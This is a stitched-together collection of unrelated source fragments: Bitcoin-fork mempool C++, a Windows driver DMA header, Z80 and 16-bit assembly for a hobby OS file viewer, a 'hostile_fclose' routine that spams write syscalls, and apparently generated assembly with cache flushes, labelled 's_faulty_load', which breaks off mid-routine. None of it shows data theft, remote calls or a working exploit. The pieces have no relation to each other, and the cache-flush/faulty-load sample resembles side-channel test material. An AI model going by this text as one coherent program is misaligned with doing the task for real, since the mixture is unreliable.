CAmount &delta = mapDeltas[hash];
delta += nFeeDelta;
txiter it = mapTx.find(hash);
if (it != mapTx.end()) {
mapTx.modify(it, update_fee_delta(delta));
// Now update all ancestors' modified fees with descendants
setEntries setAncestors;
uint64_t nNoLimit = std::numeric_limits<uint64_t>::max();
std::string dummy;
CalculateMemPoolAncestors(*it, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy, false);
for (txiter ancestorIt : setAncestors) {
mapTx.modify(ancestorIt, update_descendant_state(0, nFeeDelta, 0));
}
// Now update all descendants' modified fees with ancestors
setEntries setDescendants;
CalculateDescendants(it, setDescendants);
setDescendants.erase(it);
for (txiter descendantIt : setDescendants) {
mapTx.modify(descendantIt, update_ancestor_state(0, nFeeDelta, 0, 0));
}
++nTransactionsUpdated;
}
}
LogPrintf("PrioritiseTransaction: %s feerate += %s\n", hash.ToString(), FormatMoney(nFeeDelta));
}
void CTxMemPool::ApplyDelta(const uint256 hash, CAmount &nFeeDelta) const
{
LOCK(cs);
std::map<uint256, CAmount>::const_iterator pos = mapDeltas.find(hash);
if (pos == mapDeltas.end())
return;
const CAmount &delta = pos->second;
nFeeDelta += delta;
}
void CTxMemPool::ClearPrioritisation(const uint256 hash)
{
LOCK(cs);
mapDeltas.erase(hash);
}
const CTransaction* CTxMemPool::GetConflictTx(const COutPoint& prevout) const
{
const auto it = mapNextTx.find(prevout);
return it == mapNextTx.end() ? nullptr : it->second;
}
Optional<CTxMemPool::txiter> CTxMemPool::GetIter(const uint256& txid) const
{
auto it = mapTx.find(txid);
if (it != mapTx.end()) return it;
return Optional<txiter>{};
}
CTxMemPool::setEntries CTxMemPool::GetIterSet(const std::set<uint256>& hashes) const
{
CTxMemPool::setEntries ret;
for (const auto& h : hashes) {
const auto mi = GetIter(h);
if (mi) ret.insert(*mi);
}
return ret;
}
bool CTxMemPool::HasNoInputsOf(const CTransaction &tx) const
{
for (unsigned int i = 0; i < tx.vin.size(); i++)
if (exists(tx.vin[i].prevout.hash))
return false;
return true;
}
CCoinsViewMemPool::CCoinsViewMemPool(CCoinsView* baseIn, const CTxMemPool& mempoolIn) : CCoinsViewBacked(baseIn), mempool(mempoolIn) { }
bool CCoinsViewMemPool::GetCoin(const COutPoint &outpoint, Coin &coin) const {
// If an entry in the mempool exists, always return that one, as it's guaranteed to never
// conflict with the underlying cache, and it cannot have pruned entries (as it contains full)
// transactions. First checking the underlying cache risks returning a pruned entry instead.
CTransactionRef ptx = mempool.get(outpoint.hash);
if (ptx) {
if (outpoint.n < ptx->vout.size()) {
coin = Coin(ptx->vout[outpoint.n], MEMPOOL_HEIGHT, false, false);
return true;
} else {
return false;
}
}
return (base->GetCoin(outpoint, coin) && !coin.IsSpent());
}
bool CCoinsViewMemPool::HaveCoin(const COutPoint &outpoint) const {
return mempool.exists(outpoint) || base->HaveCoin(outpoint);
}
size_t CTxMemPool::DynamicMemoryUsage() const {
LOCK(cs);
// Estimate the overhead of mapTx to be 12 pointers + an allocation, as no exact formula for boost::multi_index_contained is implemented.
return memusage::MallocUsage(sizeof(CTxMemPoolEntry) + 12 * sizeof(void*)) * mapTx.size() + memusage::DynamicUsage(mapNextTx) + memusage::DynamicUsage(mapDeltas) + memusage::DynamicUsage(mapLinks) + memusage::DynamicUsage(vTxHashes) + cachedInnerUsage;
}
void CTxMemPool::RemoveStaged(setEntries &stage, bool updateDescendants, MemPoolRemovalReason reason) {
AssertLockHeld(cs);
UpdateForRemoveFromMempool(stage, updateDescendants);
for (txiter it : stage) {
removeUnchecked(it, reason);
}
}
int CTxMemPool::Expire(std::chrono::seconds time)
{
AssertLockHeld(cs);
indexed_transaction_set::index<entry_time>::type::iterator it = mapTx.get<entry_time>().begin();
setEntries toremove;
while (it != mapTx.get<entry_time>().end() && it->GetTime() < time) {
toremove.insert(mapTx.project<0>(it));
it++;
}
setEntries stage;
for (txiter removeit : toremove) {
CalculateDescendants(removeit, stage);
}
RemoveStaged(stage, false, MemPoolRemovalReason::EXPIRY);
return stage.size();
}
void CTxMemPool::addUnchecked(const CTxMemPoolEntry &entry, bool validFeeEstimate)
{
setEntries setAncestors;
uint64_t nNoLimit = std::numeric_limits<uint64_t>::max();
std::string dummy;
CalculateMemPoolAncestors(entry, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy);
return addUnchecked(entry, setAncestors, validFeeEstimate);
}
void CTxMemPool::UpdateChild(txiter entry, txiter child, bool add)
{
setEntries s;
if (add && mapLinks[entry].children.insert(child).second) {
cachedInnerUsage += memusage::IncrementalDynamicUsage(s);
} else if (!add && mapLinks[entry].children.erase(child)) {
cachedInnerUsage -= memusage::IncrementalDynamicUsage(s);
}
}
void CTxMemPool::UpdateParent(txiter entry, txiter parent, bool add)
{
setEntries s;
if (add && mapLinks[entry].parents.insert(parent).second) {
cachedInnerUsage += memusage::IncrementalDynamicUsage(s);
} else if (!add && mapLinks[entry].parents.erase(parent)) {
cachedInnerUsage -= memusage::IncrementalDynamicUsage(s);
}
}
const CTxMemPool::setEntries & CTxMemPool::GetMemPoolParents(txiter entry) const
{
assert (entry != mapTx.end());
txlinksMap::const_iterator it = mapLinks.find(entry);
assert(it != mapLinks.end());
return it->second.parents;
}
const CTxMemPool::setEntries & CTxMemPool::GetMemPoolChildren(txiter entry) const
{
assert (entry != mapTx.end());
txlinksMap::const_iterator it = mapLinks.find(entry);
assert(it != mapLinks.end());
return it->second.children;
}
CFeeRate CTxMemPool::GetMinFee(size_t sizelimit) const {
LOCK(cs);
if (!blockSinceLastRollingFeeBump || rollingMinimumFeeRate == 0)
return CFeeRate(llround(rollingMinimumFeeRate));
int64_t time = GetTime();
if (time > lastRollingFeeUpdate + 10) {
double halflife = ROLLING_FEE_HALFLIFE;
if (DynamicMemoryUsage() < sizelimit / 4)
halflife /= 4;
else if (DynamicMemoryUsage() < sizelimit / 2)
halflife /= 2;
rollingMinimumFeeRate = rollingMinimumFeeRate / pow(2.0, (time - lastRollingFeeUpdate) / halflife);
lastRollingFeeUpdate = time;
if (rollingMinimumFeeRate < (double)incrementalRelayFee.GetFeePerK() / 2) {
rollingMinimumFeeRate = 0;
return CFeeRate(0);
}
}
return std::max(CFeeRate(llround(rollingMinimumFeeRate)), incrementalRelayFee);
}
void CTxMemPool::trackPackageRemoved(const CFeeRate& rate) {
AssertLockHeld(cs);
if (rate.GetFeePerK() > rollingMinimumFeeRate) {
rollingMinimumFeeRate = rate.GetFeePerK();
blockSinceLastRollingFeeBump = false;
}
}
void CTxMemPool::TrimToSize(size_t sizelimit, std::vector<COutPoint>* pvNoSpendsRemaining) {
AssertLockHeld(cs);
unsigned nTxnRemoved = 0;
CFeeRate maxFeeRateRemoved(0);
while (!mapTx.empty() && DynamicMemoryUsage() > sizelimit) {
indexed_transaction_set::index<descendant_score>::type::iterator it = mapTx.get<descendant_score>().begin();
// We set the new mempool min fee to the feerate of the removed set, plus the
// "minimum reasonable fee rate" (ie some value under which we consider txn
// to have 0 fee). This way, we don't allow txn to enter mempool with feerate
// equal to txn which were removed with no block in between.
CFeeRate removed(it->GetModFeesWithDescendants(), it->GetSizeWithDescendants());
removed += incrementalRelayFee;
trackPackageRemoved(removed);
maxFeeRateRemoved = std::max(maxFeeRateRemoved, removed);
setEntries stage;
CalculateDescendants(mapTx.project<0>(it), stage);
nTxnRemoved += stage.size();
std::vector<CTransaction> txn;
if (pvNoSpendsRemaining) {
txn.reserve(stage.size());
for (txiter iter : stage)
txn.push_back(iter->GetTx());
}
RemoveStaged(stage, false, MemPoolRemovalReason::SIZELIMIT);
if (pvNoSpendsRemaining) {
for (const CTransaction& tx : txn) {
for (const CTxIn& txin : tx.vin) {
if (exists(txin.prevout.hash)) continue;
if (!mapNextTx.count(txin.prevout)) {
pvNoSpendsRemaining->push_back(txin.prevout);
}
}
}
}
}
if (maxFeeRateRemoved > CFeeRate(0)) {
LogPrint(BCLog::MEMPOOL, "Removed %u txn, rolling minimum fee bumped to %s\n", nTxnRemoved, maxFeeRateRemoved.ToString());
}
}
uint64_t CTxMemPool::CalculateDescendantMaximum(txiter entry) const {
// find parent with highest descendant count
std::vector<txiter> candidates;
setEntries counted;
candidates.push_back(entry);
uint64_t maximum = 0;
while (candidates.size()) {
txiter candidate = candidates.back();
candidates.pop_back();
if (!counted.insert(candidate).second) continue;
const setEntries& parents = GetMemPoolParents(candidate);
if (parents.size() == 0) {
maximum = std::max(maximum, candidate->GetCountWithDescendants());
} else {
for (txiter i : parents) {
candidates.push_back(i);
}
}
}
return maximum;
}
void CTxMemPool::GetTransactionAncestry(const uint256& txid, size_t& ancestors, size_t& descendants) const {
LOCK(cs);
auto it = mapTx.find(txid);
ancestors = descendants = 0;
if (it != mapTx.end()) {
ancestors = it->GetCountWithAncestors();
descendants = CalculateDescendantMaximum(it);
}
}
bool CTxMemPool::IsLoaded() const
{
LOCK(cs);
return m_is_loaded;
}
void CTxMemPool::SetIsLoaded(bool loaded)
{
LOCK(cs);
m_is_loaded = loaded;
}
CTxMemPool::EpochGuard CTxMemPool::GetFreshEpoch() const
{
return EpochGuard(*this);
}
CTxMemPool::EpochGuard::EpochGuard(const CTxMemPool& in) : pool(in)
{
assert(!pool.m_has_epoch_guard);
++pool.m_epoch;
pool.m_has_epoch_guard = true;
}
CTxMemPool::EpochGuard::~EpochGuard()
{
// prevents stale results being used
++pool.m_epoch;
pool.m_has_epoch_guard = false;
}
SaltedTxidHasher::SaltedTxidHasher() : k0(GetRand(std::numeric_limits<uint64_t>::max())), k1(GetRand(std::numeric_limits<uint64_t>::max())) {}
/////////////////////////////////////////////////////// // xray
void CTxMemPool::addAddressIndex(const CTxMemPoolEntry &entry, const CCoinsViewCache &view)
{
LOCK(cs);
const CTransaction& tx = entry.GetTx();
std::vector<CMempoolAddressDeltaKey> inserted;
uint256 txhash = tx.GetHash();
for (unsigned int j = 0; j < tx.vin.size(); j++) {
const CTxIn input = tx.vin[j];
const CTxOut &prevout = view.GetOutputFor(input);
CTxDestination dest;
if (ExtractDestination(input.prevout, prevout.scriptPubKey, dest)) {
valtype bytesID(boost::apply_visitor(DataVisitor(), dest));
if(bytesID.empty()) {
continue;
}
valtype addressBytes(32);
std::copy(bytesID.begin(), bytesID.end(), addressBytes.begin());
CMempoolAddressDeltaKey key(dest.which(), uint256(addressBytes), txhash, j, 1);
CMempoolAddressDelta delta(entry.GetTime().count(), prevout.nValue * -1, input.prevout.hash, input.prevout.n);
mapAddress.insert(std::make_pair(key, delta));
inserted.push_back(key);
}
}
for (unsigned int k = 0; k < tx.vout.size(); k++) {
const CTxOut &out = tx.vout[k];
CTxDestination dest;
if (ExtractDestination({tx.GetHash(), k}, out.scriptPubKey, dest)) {
valtype bytesID(boost::apply_visitor(DataVisitor(), dest));
if(bytesID.empty()) {
continue;
}
valtype addressBytes(32);
std::copy(bytesID.begin(), bytesID.end(), addressBytes.begin());
CMempoolAddressDeltaKey key(dest.which(), uint256(addressBytes), txhash, k, 0);
mapAddress.insert(std::make_pair(key, CMempoolAddressDelta(entry.GetTime().count(), out.nValue)));
inserted.push_back(key);
}
}
mapAddressInserted.insert(std::make_pair(txhash, inserted));
}
bool CTxMemPool::getAddressIndex(std::vector<std::pair<uint256, int> > &addresses, std::vector<std::pair<CMempoolAddressDeltaKey, CMempoolAddressDelta> > &results)
{
LOCK(cs);
for (std::vector<std::pair<uint256, int> >::iterator it = addresses.begin(); it != addresses.end(); it++) {
addressDeltaMap::iterator ait = mapAddress.lower_bound(CMempoolAddressDeltaKey((*it).second, (*it).first));
while (ait != mapAddress.end() && (*ait).first.addressBytes == (*it).first && (*ait).first.type == (*it).second) {
results.push_back(*ait);
ait++;
}
}
return true;
}
bool CTxMemPool::removeAddressIndex(const uint256 txhash)
{
LOCK(cs);
addressDeltaMapInserted::iterator it = mapAddressInserted.find(txhash);
if (it != mapAddressInserted.end()) {
std::vector<CMempoolAddressDeltaKey> keys = (*it).second;
for (std::vector<CMempoolAddressDeltaKey>::iterator mit = keys.begin(); mit != keys.end(); mit++) {
mapAddress.erase(*mit);
}
mapAddressInserted.erase(it);
}
return true;
}
void CTxMemPool::addSpentIndex(const CTxMemPoolEntry &entry, const CCoinsViewCache &view)
{
LOCK(cs);
const CTransaction& tx = entry.GetTx();
std::vector<CSpentIndexKey> inserted;
uint256 txhash = tx.GetHash();
for (unsigned int j = 0; j < tx.vin.size(); j++) {
const CTxIn input = tx.vin[j];
const CTxOut &prevout = view.GetOutputFor(input);
uint256 addressHash;
int addressType;
std::vector<unsigned char> addressBytes(32);
if (prevout.scriptPubKey.IsPayToScriptHash()) {
std::copy(prevout.scriptPubKey.begin() + 2, prevout.scriptPubKey.begin() + 22, addressBytes.begin());
addressHash = uint256(addressBytes);
addressType = 2;
} else if (prevout.scriptPubKey.IsPayToPubkeyHash()) {
std::copy(prevout.scriptPubKey.begin() + 3, prevout.scriptPubKey.begin() + 23, addressBytes.begin());
addressHash = uint256(addressBytes);
addressType = 1;
} else if (prevout.scriptPubKey.IsPayToPubkey()) {
std::vector<unsigned char> pubkeyBytes(prevout.scriptPubKey.begin() + 1, prevout.scriptPubKey.end()-1);
uint160 hashBytes = Hash160(pubkeyBytes);
std::copy(hashBytes.begin(), hashBytes.end(), addressBytes.begin());
addressHash = uint256(addressBytes);
addressType = 1;
} else if (prevout.scriptPubKey.IsPayToWitnessPubkeyHash()) {
std::copy(prevout.scriptPubKey.begin() + 2, prevout.scriptPubKey.end(), addressBytes.begin());
addressHash = uint256(addressBytes);
addressType = 4;
} else if (prevout.scriptPubKey.IsPayToWitnessScriptHash()) {
std::copy(prevout.scriptPubKey.begin() + 2, prevout.scriptPubKey.end(), addressBytes.begin());
addressHash = uint256(addressBytes);
addressType = 3;
} else {
addressHash.SetNull();
addressType = 0;
}
CSpentIndexKey key = CSpentIndexKey(input.prevout.hash, input.prevout.n);
CSpentIndexValue value = CSpentIndexValue(txhash, j, -1, prevout.nValue, addressType, addressHash);
mapSpent.insert(std::make_pair(key, value));
inserted.push_back(key);
}
mapSpentInserted.insert(std::make_pair(txhash, inserted));
}
bool CTxMemPool::getSpentIndex(CSpentIndexKey &key, CSpentIndexValue &value)
{
LOCK(cs);
mapSpentIndex::iterator it;
it = mapSpent.find(key);
if (it != mapSpent.end()) {
value = it->second;
return true;
}
return false;
}
bool CTxMemPool::removeSpentIndex(const uint256 txhash)
{
LOCK(cs);
mapSpentIndexInserted::iterator it = mapSpentInserted.find(txhash);
if (it != mapSpentInserted.end()) {
std::vector<CSpentIndexKey> keys = (*it).second;
for (std::vector<CSpentIndexKey>::iterator mit = keys.begin(); mit != keys.end(); mit++) {
mapSpent.erase(*mit);
}
mapSpentInserted.erase(it);
}
return true;
}
///////////////////////////////////////////////////////
|
//
// Copyright (C) Microsoft. All rights reserved.
//
#pragma once
class FxDmaScatterGatherTransaction : public FxDmaTransactionBase {
public:
FxDmaScatterGatherTransaction(
__in PFX_DRIVER_GLOBALS FxDriverGlobals,
__in USHORT ExtraSize,
__in FxDmaEnabler *DmaEnabler
);
virtual
BOOLEAN
Dispose(
VOID
);
_Must_inspect_result_
virtual
NTSTATUS
InitializeResources(
VOID
);
_Must_inspect_result_
virtual
NTSTATUS
StartTransfer(
VOID
);
_Must_inspect_result_
virtual
NTSTATUS
TransferCompleted(
VOID
);
_Must_inspect_result_
virtual
NTSTATUS
StageTransfer(
VOID
);
virtual
VOID
ReleaseResources(
__in BOOLEAN ForceRelease
);
_Must_inspect_result_
static
NTSTATUS
_Create(
__in PFX_DRIVER_GLOBALS FxDriverGlobals,
__in PWDF_OBJECT_ATTRIBUTES Attributes,
__in FxDmaEnabler* DmaEnabler,
__out WDFDMATRANSACTION* Transaction
);
protected:
//
// Scatter-Gather list provided by the system.
//
PSCATTER_GATHER_LIST m_SGList;
//
// Preallocated memory for the scatter-gather list.
//
PVOID m_SGListBuffer;
//
// Size in bytes of m_SGListBuffer.
//
ULONG m_SgListBufferSize;
//
// Whether m_SGListBuffer was allocated from the enabler's
// lookaside list, or directly from the system memory pool.
//
BOOLEAN m_IsBufferFromLookaside;
virtual
VOID
SetNewSgListBuffer(
_In_ PVOID Buffer,
_In_ ULONG Size
);
virtual
ULONG
GetSgListBufferSize(
VOID
)
{
return m_SgListBufferSize;
}
virtual
ULONG
GetNumberOfAvailableMapRegisters(
VOID
)
{
return m_AdapterInfo->NumberOfMapRegisters;
}
private:
VOID
FreeSgListBuffer(
VOID
);
static
VOID
_AdapterListControl(
__in DEVICE_OBJECT * DeviceObject,
__in IRP * Irp,
__in SCATTER_GATHER_LIST * SgList,
__in VOID * Context
);
_Must_inspect_result_
NTSTATUS
GetScatterGatherList (
__in PMDL Mdl,
__in size_t CurrentOffset,
__in ULONG Length,
__in PDRIVER_LIST_CONTROL ExecutionRoutine,
__in PVOID Context
)
{
NTSTATUS status;
KIRQL irql;
KeRaiseIrql(DISPATCH_LEVEL, &irql);
if (m_DmaEnabler->UsesDmaV3())
{
PDMA_OPERATIONS dmaOperations =
m_AdapterInfo->AdapterObject->DmaOperations;
status = dmaOperations->GetScatterGatherListEx(
m_AdapterInfo->AdapterObject,
m_DmaEnabler->m_FDO,
GetTransferContext(),
Mdl,
CurrentOffset,
Length,
m_Flags,
ExecutionRoutine,
Context,
(BOOLEAN) m_DmaDirection,
NULL,
NULL,
NULL
);
}
else
{
status = m_AdapterInfo->AdapterObject->DmaOperations->
GetScatterGatherList(m_AdapterInfo->AdapterObject,
m_DmaEnabler->m_FDO,
Mdl,
GetStartVaFromOffset(Mdl, CurrentOffset),
Length,
ExecutionRoutine,
Context,
(BOOLEAN) m_DmaDirection);
}
KeLowerIrql(irql);
return status;
}
VOID
PutScatterGatherList(
__in PSCATTER_GATHER_LIST ScatterGather
)
{
KIRQL irql;
KeRaiseIrql(DISPATCH_LEVEL, &irql);
m_AdapterInfo->AdapterObject->DmaOperations->
PutScatterGatherList(m_AdapterInfo->AdapterObject,
ScatterGather,
(BOOLEAN) m_DmaDirection);
KeLowerIrql(irql);
return;
}
_Must_inspect_result_
NTSTATUS
BuildScatterGatherList(
__in PMDL Mdl,
__in size_t CurrentOffset,
__in ULONG Length,
__in PDRIVER_LIST_CONTROL ExecutionRoutine,
__in PVOID Context,
__in PVOID ScatterGatherBuffer,
__in ULONG ScatterGatherBufferLength
)
{
NTSTATUS status;
KIRQL irql;
KeRaiseIrql(DISPATCH_LEVEL, &irql);
if (m_DmaEnabler->UsesDmaV3()) {
PDMA_OPERATIONS dmaOperations =
m_AdapterInfo->AdapterObject->DmaOperations;
ULONG flags = 0;
if (GetDriverGlobals()->IsVersionGreaterThanOrEqualTo(1,15)) {
//
// Though the correct behavior is to pass the m_Flags to the
// BuildScatterGatherListEx function, the code was not doing it
// for versions <= 1.13. To reduce any chance of regression,
// the m_Flags is honored for drivers that are 1.15
// or newer.
//
flags = m_Flags;
}
status = dmaOperations->BuildScatterGatherListEx(
m_AdapterInfo->AdapterObject,
m_DmaEnabler->m_FDO,
GetTransferContext(),
Mdl,
CurrentOffset,
Length,
flags,
ExecutionRoutine,
Context,
(BOOLEAN) m_DmaDirection,
ScatterGatherBuffer,
ScatterGatherBufferLength,
NULL,
NULL,
NULL
);
}
else {
status = m_AdapterInfo->AdapterObject->DmaOperations->
BuildScatterGatherList(m_AdapterInfo->AdapterObject,
m_DmaEnabler->m_FDO,
Mdl,
GetStartVaFromOffset(Mdl, CurrentOffset),
Length,
ExecutionRoutine,
Context,
(BOOLEAN) m_DmaDirection,
ScatterGatherBuffer,
ScatterGatherBufferLength);
}
KeLowerIrql(irql);
return status;
}
};
|
;; CIRCLE speedup. Fits in the space of the original
STK_TO_A: EQU 2314H
STK_TO_BC: EQU 2307H
REPORT_B_3: EQU 24F9H
PLOT_SUB: EQU 22E5H
TEMPS: EQU 0D4DH
ORG 233BH
C_R_GRE_1: CALL STK_TO_A
PUSH AF
CALL STK_TO_BC
POP AF
CIRCLE_INT: LD H,A
LD L,0
RRA
CIRCLE_L3: LD DE,00FCH
CIRCLE_L1: PUSH AF
CIRCLE_L2: PUSH HL
PUSH BC
LD A,B
ADD H
LD B,A
LD A,C
ADD L
LD C,A
PUSH DE
CALL PLOT_SUB
POP DE
POP BC
POP HL
LD A,0FBH
CP E
LD A,L
JR Z,CIRCLE_M
NEG
CIRCLE_M: LD L,H
LD H,A
INC E
JR NZ,CIRCLE_L2
DEC D
JR NZ,CIRCLE_N
NEG
LD H,A
CIRCLE_N: POP AF
INC L
SUB A,L
JR NC,CIRCLE_NC
ADD A,H
DEC H
CIRCLE_NC: LD E,A
LD A,L
CP H
LD A,E
JR Z,CIRCLE_L3
LD DE,01F8H
JR C,CIRCLE_L1
JP TEMPS
|
; ------------------------------------------------------------------
; Program to display text files and PCX images (320x200, 8-bit only)
; ------------------------------------------------------------------
BITS 16
%INCLUDE "mikedev.inc"
ORG 32768
main_start:
call draw_background
call os_file_selector ; Get filename
jc near close ; Quit if Esc pressed in dialog box
mov bx, ax ; Save filename for now
mov di, ax
call os_string_length
add di, ax ; DI now points to last char in filename
dec di
dec di
dec di ; ...and now to first char of extension!
mov si, txt_extension
mov cx, 3
rep cmpsb ; Does the extension contain 'TXT'?
je near valid_txt_extension ; Skip ahead if so
dec di
mov si, bas_extension
mov cx, 3
rep cmpsb ; Does the extension contain 'BAS'?
je near valid_txt_extension ; Skip ahead if so
dec di
mov si, pcx_extension
mov cx, 3
rep cmpsb ; Does the extension contain 'PCX'?
je valid_pcx_extension ; Skip ahead if so
; Otherwise show error dialog
mov dx, 0 ; One button for dialog box
mov ax, err_string
mov bx, 0
mov cx, 0
call os_dialog_box
jmp main_start ; And retry
valid_pcx_extension:
mov ax, bx
mov cx, 36864 ; Load PCX at 36864 (4K after program start)
call os_load_file
mov ah, 0 ; Switch to graphics mode
mov al, 13h
int 10h
mov ax, 0A000h ; ES = video memory
mov es, ax
mov si, 36864+80h ; Move source to start of image data
; (First 80h bytes is header)
mov di, 0 ; Start our loop at top of video RAM
decode:
mov cx, 1
lodsb
cmp al, 192 ; Single pixel or string?
jb single
and al, 63 ; String, so 'mod 64' it
mov cl, al ; Result in CL for following 'rep'
lodsb ; Get byte to put on screen
single:
rep stosb ; And show it (or all of them)
cmp di, 64001
jb decode
mov dx, 3c8h ; Palette index register
mov al, 0 ; Start at colour 0
out dx, al ; Tell VGA controller that...
inc dx ; ...3c9h = palette data register
mov cx, 768 ; 256 colours, 3 bytes each
setpal:
lodsb ; Grab the next byte.
shr al, 2 ; Palettes divided by 4, so undo
out dx, al ; Send to VGA controller
loop setpal
call os_wait_for_key
mov ax, 3 ; Back to text mode
mov bx, 0
int 10h
mov ax, 1003h ; No blinking text!
int 10h
mov ax, 2000h ; Reset ES back to original value
mov es, ax
call os_clear_screen
jmp main_start
draw_background:
mov ax, title_msg ; Set up screen
mov bx, footer_msg
mov cx, BLACK_ON_WHITE
call os_draw_background
ret
; Meanwhile, if it's a text file...
valid_txt_extension:
mov ax, bx
mov cx, 36864 ; Load file 4K after program start
call os_load_file
; Now BX contains the number of bytes in the file, so let's add
; the load offset to get the last byte of the file in RAM
add bx, 36864
mov cx, 0 ; Lines to skip when rendering
mov word [skiplines], 0
pusha
mov ax, txt_title_msg ; Set up screen
mov bx, txt_footer_msg
mov cx, 11110000b ; Black text on white background
call os_draw_background
popa
txt_start:
pusha
mov bl, 11110000b ; Black text on white background
mov dh, 2
mov dl, 0
mov si, 80
mov di, 23
call os_draw_block ; Overwrite old text for scrolling
mov dh, 2 ; Move cursor to near top
mov dl, 0
call os_move_cursor
popa
mov si, 36864 ; Start of text data
mov ah, 0Eh ; BIOS char printing routine
redraw:
cmp cx, 0 ; How many lines to skip?
je loopy
dec cx
skip_loop:
lodsb ; Read bytes until newline, to skip a line
cmp al, 10
jne skip_loop
jmp redraw
loopy:
lodsb ; Get character from file data
cmp al, 10 ; Return to start of line if carriage return character
jne skip_return
call os_get_cursor_pos
mov dl, 0
call os_move_cursor
skip_return:
int 10h ; Print the character
cmp si, bx ; Have we printed all in the file?
je finished
call os_get_cursor_pos ; Are we at the bottom of the display area?
cmp dh, 23
je get_input
jmp loopy
get_input: ; Get cursor keys and Q
call os_wait_for_key
cmp ah, KEY_UP
je go_up
cmp ah, KEY_DOWN
je go_down
cmp al, 'q'
je main_start
cmp al, 'Q'
je main_start
jmp get_input
go_up:
cmp word [skiplines], 0 ; Don't scroll up if we're at the top
jle txt_start
dec word [skiplines] ; Otherwise decrement the lines we need to skip
mov word cx, [skiplines]
jmp txt_start
go_down:
inc word [skiplines] ; Increment the lines we need to skip
mov word cx, [skiplines]
jmp txt_start
finished: ; We get here when we've printed the final character
call os_wait_for_key
cmp ah, 48h
je go_up ; Can only scroll up at this point
cmp al, 'q'
je main_start
cmp al, 'Q'
je main_start
jmp finished
close:
call os_clear_screen
ret
txt_extension db 'TXT', 0
bas_extension db 'BAS', 0
pcx_extension db 'PCX', 0
err_string db 'Please select a TXT, BAS or PCX file!', 0
title_msg db 'WinOS File Viewer', 0
footer_msg db 'Select a TXT, BAS or PCX file to view, or press Esc to exit', 0
txt_title_msg db 'WinOS Text File Viewer', 0
txt_footer_msg db 'Use arrow keys to scroll and Q to quit', 0
skiplines dw 0
; ------------------------------------------------------------------
|
%define ZERO_ARGS 0x0
%define WRITE_SYSCALL_NUM 0x1
%define STDOUT_FILENO 0x1
%define BUF_LEN 0x1
%define LOOP_COUNTER 0x8000
%define RANDOM_NUM 0x100
%macro do_write_syscall ZERO_ARGS
mov rdi, STDOUT_FILENO
mov rdx, BUF_LEN
mov rax, WRITE_SYSCALL_NUM
syscall
%endmacro
%macro func_ret ZERO_ARGS
xor rax, rax
ret
%endmacro
%macro save_regs ZERO_ARGS
push rbx
push rdx
push rcx
push rdi
push rsi
push r8
push r9
push r10
%endmacro
%macro restore_regs ZERO_ARGS
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rcx
pop rdx
pop rbx
%endmacro
%macro clear_regs ZERO_ARGS
xor rax,rax
xor rbx,rbx
xor rcx,rcx
xor rdx,rdx
xor rdi,rdi
xor rsi,rsi
xor r8,r8
xor r9,r9
xor r10,r10
%endmacro
section .text
global pi_hostile_fclose, pi_get_hostile_len
pi_hostile_fclose:
save_regs
clear_regs
push RANDOM_NUM
lea rsi, [ rsp ]
mov rcx, LOOP_COUNTER
loop_start:
inc byte [ rsi ]
push rcx
do_write_syscall
pop rcx
loop loop_start
loop_end:
pop rax
restore_regs
func_ret
pi_hostile_fclose_end:
pi_get_hostile_len:
mov rax, pi_hostile_fclose_end - pi_hostile_fclose
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x2450, %r12
nop
nop
nop
nop
add %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, (%r12)
nop
nop
nop
add $15472, %rdx
lea addresses_WC_ht+0xa410, %rsi
lea addresses_WT_ht+0x1618b, %rdi
nop
nop
nop
and %r14, %r14
mov $27, %rcx
rep movsl
nop
nop
add $437, %rdx
lea addresses_WT_ht+0x2f0, %rsi
lea addresses_UC_ht+0xbee8, %rdi
nop
nop
nop
nop
xor %r12, %r12
mov $96, %rcx
rep movsw
and %rdi, %rdi
lea addresses_D_ht+0xd2ca, %rcx
clflush (%rcx)
nop
nop
nop
nop
add %rdi, %rdi
and $0xffffffffffffffc0, %rcx
vmovntdqa (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r10
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_WT_ht+0xb4d0, %r14
nop
nop
nop
sub %rcx, %rcx
movups (%r14), %xmm0
vpextrq $0, %xmm0, %rsi
nop
dec %r12
lea addresses_WT_ht+0x2af7, %rdx
nop
xor $15143, %r12
mov (%rdx), %esi
cmp %rdx, %rdx
lea addresses_WT_ht+0x1de50, %r10
nop
sub $9511, %rdx
movw $0x6162, (%r10)
nop
nop
nop
nop
nop
xor $3885, %rcx
lea addresses_D_ht+0xf338, %rsi
lea addresses_normal_ht+0x15850, %rdi
sub %rdx, %rdx
mov $85, %rcx
rep movsl
add %rdi, %rdi
lea addresses_WT_ht+0x12d90, %rsi
lea addresses_A_ht+0x1d650, %rdi
nop
nop
nop
nop
nop
sub %rbx, %rbx
mov $117, %rcx
rep movsq
nop
nop
nop
nop
sub $44293, %r12
lea addresses_WC_ht+0x11070, %rsi
lea addresses_normal_ht+0x70a1, %rdi
nop
nop
nop
nop
nop
and $15225, %r12
mov $45, %rcx
rep movsl
nop
add $10134, %rbx
lea addresses_D_ht+0xd650, %rcx
cmp $7192, %r14
movb $0x61, (%rcx)
nop
nop
add %rdi, %rdi
lea addresses_normal_ht+0xd650, %rsi
lea addresses_D_ht+0x1a290, %rdi
nop
nop
nop
sub $64198, %r12
mov $95, %rcx
rep movsb
nop
nop
and $35960, %r12
lea addresses_normal_ht+0xeb2a, %rcx
nop
nop
nop
nop
nop
xor %rdi, %rdi
movups (%rcx), %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
nop
nop
nop
mfence
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %r9
push %rax
push %rbx
push %rdx
// Load
lea addresses_PSE+0x1deb0, %r14
nop
nop
nop
nop
and %rbx, %rbx
mov (%r14), %edx
nop
and $27125, %rax
// Store
lea addresses_normal+0x3520, %rax
nop
cmp $46648, %r9
movw $0x5152, (%rax)
nop
nop
and %rdx, %rdx
// Store
lea addresses_WT+0x2c50, %rax
cmp $22712, %r8
movw $0x5152, (%rax)
nop
nop
cmp $8839, %r14
// Faulty Load
